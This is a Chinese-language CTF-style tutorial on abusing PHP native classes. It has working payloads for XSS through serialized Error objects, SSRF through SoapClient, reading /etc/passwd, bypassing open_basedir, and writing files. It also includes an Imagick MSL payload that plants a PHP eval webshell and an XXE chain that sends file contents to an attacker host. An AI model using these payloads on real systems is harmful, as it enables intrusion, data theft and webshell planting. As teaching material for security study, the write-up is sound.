PHP原生类

相当综合的应用呢,利用面广的不行,爽赤

常见的原生类有以下几个

1.Error/Exception
2.FilesystemIterator/SplFileObject/DirectoryIterator/GlobIterator
3.SoapClient
4.SimpleXMLElement

当然还有有些偶尔能用上的ZipArchive

XSS利用

Error/Exception内置类

Error:

  • 仅适用于PHP7版本
  • 在开启报错的情况下

我们可以查看一下Error的内置方法

<?php
$className = 'Error';

$methods = get_class_methods($className);

foreach ($methods as $method) {
    echo "{$className}::{$method}" . PHP_EOL;
}
?>

得到:

Error::__construct
Error::__wakeup
Error::getMessage
Error::getCode
Error::getFile
Error::getLine
Error::getTrace
Error::getPrevious
Error::getTraceAsString
Error::__toString

那么就可以利用XSS的__toString魔术方法打一个XSS

测试代码:

<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>

(如果不知道原生类的情况下可能直接趋势了吧

那么就用Error类构造一个POC

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>
//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A44%3A%22C%3A%5CUsers%5Cayano%5CPhpstormProjects%5CWWW%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

image-20250701145615605

可以看到成功弹出

Exception也是同理的

得到

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A46%3A%22C%3A%5CUsers%5Cayano%5CPhpstormProjects%5CWWW%5Cmethod.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

image-20250701150814244

SSRF利用

用Soap之前先要在php.ini里开一下extension

这里只提供一下PHP8的配置方法,因为7和以上的版本配置的内容是不一样的

先把路径改一下image-20250701160148997

这里初始是ext,需要改掉并且去掉前面的;

再找到soap

image-20250701160246768

这边也需要去掉前面的;

这样就算配好了。

SoapClient何许人也?

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

类摘要如下:

SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

在知道两个选项的含义之后payload就相当容易构造了

设置第一个参数为null,第二个为target_url

这里其实就可以配合CRLF或者HTTP请求走私搞一下

open_basedir绕过

DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

哈希比较绕过

Error类是所有php内部错误类的基类 从php7开始被引入

Exception类是所有异常的类,从php5开始被引入

这两个都存在__tostring方法

通过echo/return就可以直接触发

<?php
$a = new Error("payload",1);$b = new Error("payload",2);//注意这是同一行
echo $a;
echo $b;
if($a != $b)
{
	echo "a!=b";
}
echo"\n";
var_dump(md5($a)===md5($b));//这里输出是true
?>

但是如果这样写

<?php
$a = new Error("payload",1);
$b = new Error("payload",2);//这里不是同一行
echo $a;
echo $b;
if($a != $b)
{
	echo "a!=b";
}
echo"\n";
var_dump(md5($a)===md5($b));//这里输出的是false
?>

这是为什么呢(雾),看一眼输出就可以发现它的返回值是带有行数的,这个就会导致哈希值不一样

image-20250711143413796

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7

读写文件

SplFileObject

这个是按行读取的,如果多行读取就需要遍历了

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}
// 或者用伪协议base64直接输出,有时候有奇效
$context = new SplFileObject('php://filter/read=convert.base64-encode/resource=/etc/passwd');
echo $context;

写:

$f = new SplFileObject('./file', "w");
$f->fwrite("file");

DOMDocumnet

这个类本意是处理 XML 和 HTML 内容,不过也有相应的读/写文件的方法,只要利用 伪协议 稍做加工就可以无杂质地对数据进行操作。

读文件:

# 读文件
# 先用 convert.base64 将文件内容base64,避免出现额外的 <p> 标签
# 然后将读取的内容转换成 XML 格式,再加载它,最后取 <p> 标签内的内容 (如果想获取纯净流则可以再进行base64解码)
$f="/etc/passwd";
$d=new DOMDocument();
$d->loadHTMLFile("php://filter/convert.base64-encode/resource=$f");
$d->loadXML($d->saveXML());
echo $d->getElementsByTagName("p")[0]->textContent;

写文件

# 写文件
# 先用 string.strip_tags 将多余的 HTML 标签去掉,然后再用 convert.base64 将多余的其他杂质 (如空格,双引号等非base64字符去掉)
$f="./test.php";
$d=new DOMDocument();
$d->loadHTML("dGVzdA==");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");

读文件:Xinclude

<?php $a = filter_input(1,"file");; $xml = <<<EOD <?xml version="1.0" ?> <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="$a" parse="text"/> </root> EOD; $dom = new DOMDocument; $dom->preserveWhiteSpace = false; $dom->formatOutput = true; $dom->loadXML($xml); $dom->xinclude(); echo $dom->saveXML();

文件探测

文件是否存在(finfo)

利用版本: (PHP >= 5.3.0, PECL fileinfo >= 0.1.0) 判断文件是否存在(判断文件类型)

$f = "./aasd.php"; $ff = new finfo(FILEINFO_MIME); echo $ff->file($f);

目录遍历:Directory

这个类本意是不能够直接通过 new 方式进行创建利用,当使用 dir 函数时,这个类会被实例化。但我们依然可以直接实例化并使用其中的方法

判断文件是否存在:

# 判断某个目录是否存在,
# 如果存在返回目录字符串,若不存在则产生警告并返回NULL
$dir="/etc";
echo (new Directory)->read(opendir($dir));

读取目录:

$dir = "/etc";
$d = new Directory;
$d->resource = opendir($dir);
while(($c = $d->read($d->resource))){echo $c."\n";};

目录遍历:DirectoryIterator

DirectoryIterator 会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名.

遍历文件目录,直接对文件全部输出出来.

<?php $dir=new DirectoryIterator("/"); foreach($dir as $f){    echo($f.'<br>');    //echo($f->__toString().'<br>'); }

利用 DirectoryIterator 类对象 + glob:// 协议获取目录结构,能够突破 open_basedir 的限制:

$dir=new DirectoryIterator("glob:///*"); foreach($dir as $f){    echo($f.'<br>');    //echo($f->__toString().'<br>'); }

一些其他的用法:

# 简单列目录
$dir = "./geek";
$d = new DirectoryIterator($dir);
while ($d->valid()){
    echo $d."\n";
    $d->next();
}

# 也可以用来获取文件的信息
$dir = "./geek";
$d = new DirectoryIterator($dir);
while($d->valid()){

    # 获取最后访问时间
    var_dump($d->getATime());
    # 获取创建时间
    var_dump($d->getCTime());
    # 获取最后修改时间
    var_dump($d->getMtime());
    # 获取文件名,
    # 直接用 __toString 也可以
    var_dump($d->getFilename());
    var_dump((string)$d);
    # 获取文件名 (自动除去后缀名),
    # 比如除去 .php 后缀名
    var_dump($d->getBasename("php"));
    # 获取目录和文件名
    var_dump($d->getPathname());
    # 获取文件所有者
    var_dump($d->getOwner());
    # 获取文件所有组
    var_dump($d->getGroup());
    # 获取文件inode编号
    var_dump($d->getInode());
    # 获取文件权限
    var_dump(substr(sprintf("%o",$d->getPerms()),-4));
    # 获取文件大小
    var_dump(($d->getSize()/1024)." kb");
    # 获取文件类型 (file/dir)
    var_dump($d->getType());
    # 判断文件是否是目录
    var_dump($d->isDir());
    # 判断文件是否是文件 (不是目录)
    var_dump($d->isFile());
    # 判断文件是否为 ./..
    var_dump($d->isDot());
    # 判断文件是否可执行
    var_dump($d->isExecute());
    # 判断文件是否是链接文件
    var_dump($d->isLink());
    # 判断文件是否可读
    var_dump($d->isReadable());
    # 判断文件是否可写
    var_dump($d->isWriteable());

    $d->next();
}

# 一些其他方法的功能
# 获取当前目录路径 (其实也就是 ? )
var_dump($d->path());
# 获取当前元素的索引
var_dump($d->key());
# 将当前索引移动到下一个元素
$d->next();
# 将索引重置到开头
$d->rewind();
# 设置索引
$d->seek(0);
# 判断当前索引的文件是否合法 (是否是一个文件)
$d->vaild();

目录遍历:FilesystemIterator

利用版本:(PHP 5 >= 5.3.0, PHP 7)

其实这个类实际上也就是 DirectoryIterator 类的升级版,基本继承了 DirectorIterator 类的所有方法,所以利用方式和 DirectorIterator 一样:

目录遍历:GlobIterator

利用版本:(PHP 5 >= 5.3.0, PHP 7)GlobIterator无需配合 glob:// 协议枚举目录。

foreach(new GlobIterator("./*") as $f){    echo $f."\n"; }

在 CTF 中如果知道了 flag 的位置,但不知道 flag 的文件名,则可以使用:GlobIterator("/*flag*")

文件操作:ZipArchive

利用版本: (PHP 5 >= 5.2.0, PHP 7, PECL zip >= 1.1.0)

这个类是在php5.2.0之后引入的,我们之前会在一些原生类利用中见到它,我们可以用这个类来删除文件,读取文件以及有损写文件。

删除文件

$a=new ZipArchive();
$a->open("file", ZipArchive::OVERWRITE); // ZipArchive::CREATE也可以用8代替

读取文件

$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->addFile($f);
$zip->close();
$zip->open("a.zip");
echo $zip->getFromName($f);
$zip->close();

有损写文件

$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->setArchiveComment("<?php phpinfo();?>");
$zip->addFromString("file", "");
$zip->close();
//include "a.zip";

RCE

Exploiting Arbitrary Object Instantiations in PHP without Custom Classes – PT SWARM 这篇文章的作者在应对如下场景时找到了一种新的利用手法——Imagick。

new $_GET['a']($_GET['b']);

如果仅可控类名和一个参数名,且只能够实例化对象,不能执行对象方法的情况下,同样可以实现 RCE。

空字节截断

Imagick 参数被空字节截断也可以正常使用

# No errors $a = new Imagick("/tmp/positive.png\x00.jpg"); # No errors $a = new Imagick("http://attacker.com/test\x00test");

https:/

https:/ 会调用 curl

$a = new Imagick("https:/127.0.0.1:9999/positive.png\x00.jpg");

vid + tempfile RCE

php 会将 post 接收到的文件以临时文件的形式保存在 /tmp 下。假设我们上传一个 msl 文件如下

<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" /> <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well --> <write filename="info:/var/www/swarm.php" /> </image>

如果使用 vid:msl 的形式将该临时文件进行读取,解析 msl 时会将 webshell 的内容写入 /var/www/swarm.php

$a = new Imagick("vid:msl:/tmp/php*");

CISCN 2022 有根据这个知识点出过题:CTF-Challenges/CISCN/2022/backdoor/writup/writup.md at master · AFKL-CUIT/CTF-Challenges · GitHub,但利用 payload 有所区别, 使用 inline 将文件内容以 base64 的形式编码在 msl 文件中。

<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" /> <write filename="/tmp/sess_afkl" /> </image>

SCTF 2023 中对这种利用方式进行了探索,可以达到读取文件内容的效果。

<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="mvg:/flag" /> <write filename="/tmp/xxxx" /> </image>

XXE

SimpleXMLElement

 class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
    /* Methods */
    public __construct(
        string $data,
        int $options = 0,
        bool $dataIsURL = false,
        string $namespaceOrPrefix = "",
        bool $isPrefix = false
    )
    public addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
    public addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
    public asXML(?string $filename = null): string|bool
    public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
    public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
    public count(): int
    public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
    public getName(): string
    public getNamespaces(bool $recursive = false): array
    public registerXPathNamespace(string $prefix, string $namespace): bool
    public __toString(): string
    public xpath(string $expression): array|null|false
}
  • data: xml 字符串,xml 文档路径或者 url 路径(如果 dataIsURL 为 true
  • dataIsURL: 默认情况下为 false,为 true 时 data 为一个 url 路径
  • option:设置为 LIBXML_NOENT 时,可能会导致 xxe 攻击,LIBXML_NOENT 为 2.

读取文件

poc:

$x=new SimpleXMLElement("http://xxx.xxx.xxx.xxx/evil.xml",2,true);

evil.xml

<?xml version="1.0"?>   <!DOCTYPE ANY[   <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/send.xml">   %remote;   %all;   %send;   ]>

send.xml

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">   <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/send.php?file=%file;'>">

SimpleXMLIterator

可用于代替 SimpleXMLElement